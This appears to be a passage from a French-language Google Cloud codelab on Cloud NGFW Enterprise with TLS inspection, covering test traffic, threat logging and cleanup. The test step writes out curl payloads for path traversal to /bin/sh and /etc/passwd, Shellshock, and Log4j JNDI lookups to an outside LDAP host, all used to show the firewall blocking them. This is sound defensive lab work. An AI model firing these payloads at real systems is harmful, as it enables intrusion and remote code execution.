Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Envoyez le trafic de test malveillant vers le serveur:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Résultat attendu :

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Aucune réponse n'est reçue conformément au résultat attendu ci-dessous, ce qui confirme que les exemples d'attaques sont désormais bloqués pour E/W.

13. Journalisation

Accédez à Logging > l'explorateur de journaux via la console Cloud, saisissez le filtre ci-dessous et interrogez les journaux. Remplacez [PROJECT_ID] par votre ID de projet:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Les entrées de journal Cloud NGFW Enterprise doivent ressembler à ceci:

Développez les entrées du journal et notez que les attaques envoyées au serveur depuis la VM cliente ont été identifiées et bloquées (faille d'exécution de code à distance Apache Log4j, comme illustré dans la capture d'écran ci-dessous).

Vous avez déployé Cloud NGFW Enterprise avec l'inspection TLS pour bloquer les requêtes malveillantes.

Passez à la section suivante pour connaître les étapes de nettoyage.

14. Procédure de nettoyage

Nettoyage de la configuration de base

Supprimez les instances:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Procédez comme suit si les rôles "tagAdmin" et "tagUsers" ont été modifiés:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Supprimez la clé et les valeurs de tag:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Supprimez la règle de réseau Cloud Firewall et son association:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Supprimez Cloud Router et Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Supprimez les adresses IP réservées:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

SPG, association et nettoyage TLS du pare-feu Cloud

Supprimez le groupe de profils de sécurité et le profil de menace dans cet ordre:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Supprimez l'association du point de terminaison Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Supprimez le point de terminaison Cloud Firewall, ce qui peut prendre environ 20 minutes:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Vous pouvez également confirmer que le point de terminaison Cloud NGFW a été supprimé en exécutant la commande ci-dessous:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

L'état du point de terminaison doit indiquer:

STATE: DELETING

Une fois l'opération terminée, le point de terminaison ne sera plus répertorié.

Supprimez la règle TLS et la configuration de confiance dans cet ordre:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Désactivez et supprimez l'autorité de certification racine et le pool d'autorités de certification:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Nettoyage du sous-réseau et du VPC

Enfin, supprimez le sous-réseau et le réseau VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Félicitations !

Félicitations ! Vous avez terminé l'atelier de programmation Cloud NGFW Enterprise pour l'inspection TLS est-ouest et nord.